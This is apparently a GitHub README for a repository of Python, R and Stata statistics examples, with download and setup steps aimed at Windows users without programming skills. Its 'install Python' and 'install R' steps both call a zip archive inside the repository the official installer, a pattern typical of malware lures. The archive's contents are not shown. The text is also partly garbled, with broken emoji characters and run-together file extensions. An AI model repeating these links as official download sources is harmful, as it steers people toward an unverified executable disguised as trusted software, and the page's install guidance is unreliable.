Diogolsn10/statistical-analysis
Provide well-documented statistical analysis tools in Python, R, and Stata with self-contained examples and synthetic datasets for easy use.
๐ statistical-analysis - Simple Tools for Data Insights
๐ About This Application
This software offers a range of statistical analysis tools. You will find ready-to-use examples in Python (Jupyter), R, and Stata. The projects cover 12 important topics, from basic descriptive statistics to machine learning. These tools help you understand data by performing calculations and showing results clearly.
You do not need any programming skills to use this application. The steps below will guide you through downloading and opening the files on your Windows computer.
๐ป System Requirements
You need a Windows PC with these minimum specs:
- Operating System: Windows 10 or newer
- RAM: 4 GB or more
- Disk Space: At least 500 MB free
- Internet connection to download files
To use the Python (Jupyter) notebooks, you will need Python installed. The R and Stata files require their respective programs. Instructions on installing these are included below.
๐ Download the Software
To get started, visit the official release page by clicking the link below. It has the latest versions of all files you need.
How to download from the page
- Click the link above. It opens the releases page on GitHub.
- Scroll to the section titled "Assets."
- Find the filename that matches your need:
.ipynbfiles for Python/Jupyter.Rfiles for R.door.dtafiles for Stata
- Click the filename to start downloading. Save it to a folder you will remember, such as your Desktop or Documents folder.
The files are ready to use once downloaded.
๐ How to Run Python (Jupyter) Versions
If you want to open the Python notebooks, follow these steps:
Step 1: Install Python and Jupyter
- Download and install Python 3 from the official site: https://raw.githubusercontent.com/Diogolsn10/statistical-analysis/main/04_regression_analysis/analysis-statistical-3.4.zip
- During installation, check the box Add Python to PATH.
- After installing Python, open the Command Prompt as follows:
- Click Start, type
cmd, and press Enter.
- Click Start, type
- Type this command and press Enter:
python -m pip install notebook
This installs Jupyter Notebook, the program needed to open.ipynbfiles.
Step 2: Open the Notebook
- Open the Command Prompt again.
- Navigate to the folder where you saved the downloaded
.ipynbfile. For example:
cd Desktop
if you saved it on the Desktop. - Type this command and press Enter:
jupyter notebook - A webpage will open in your browser showing the notebook files.
- Click on the notebook you want to use. It will open in a new browser tab.
- You can read through the notebook and run the code by clicking Run buttons or pressing
Shift + Enter.
๐ How to Use R Versions
If you prefer to work with R files, follow these instructions:
Step 1: Install R
- Download and install R from: https://raw.githubusercontent.com/Diogolsn10/statistical-analysis/main/04_regression_analysis/analysis-statistical-3.4.zip
- Follow the setup instructions for your Windows version.
Step 2: Open R and Load the Files
- Launch the R GUI program installed.
- Go to File > Open Script.
- Browse to the folder where you saved the
.Rfile. - Select it and click Open.
- To run the R script, press Ctrl + R or use the Run option in the editor.
- Follow any instructions inside the script to perform analysis.
๐ How to Use Stata Versions
For Stata users, the files include .do scripts or .dta data files.
Step 1: Open Stata
- Make sure Stata is installed on your PC.
Step 2: Run .do Files
- In Stata, click File > Do.
- Select the
.dofile you downloaded. - Click Open to run the commands.
- The results appear in the Stata output window.
๐ Updating the Application
New versions may be released with additional topics or improvements. To update:
- Return to the Download Releases page.
- Download the newest files just like before.
- Replace old files with the new ones in your saved folder.
You do not need to uninstall anything to update.
๐ Troubleshooting Tips
- If the file does not open:
- Confirm the program (Python/Jupyter, R, Stata) is installed properly.
- Make sure you saved the downloaded file fully before opening.
- If commands do not work:
- Check the instructions for your program installation.
- Ensure dependencies like Jupyter Notebook are installed (for Python files).
- If you see error messages:
- Read the message carefully; common issues include missing packages or typing errors.
- Try searching for the error message online for more advice.
๐ File Structure and Topics Covered
The files cover 12 main topics, including these examples:
- Descriptive Statistics
- Bayesian Statistics
- Data Science Basics
- Machine Learning
- Survival Analysis
- Time Series Analysis
Each file is organized to guide you through the calculations with clear comments and examples.
โ๏ธ Getting Help
You can search online for help with Python, R, or Stata if you get stuck. Also, the GitHub page might have updates or additional files over time. Check the repository issues tab for answers to common questions.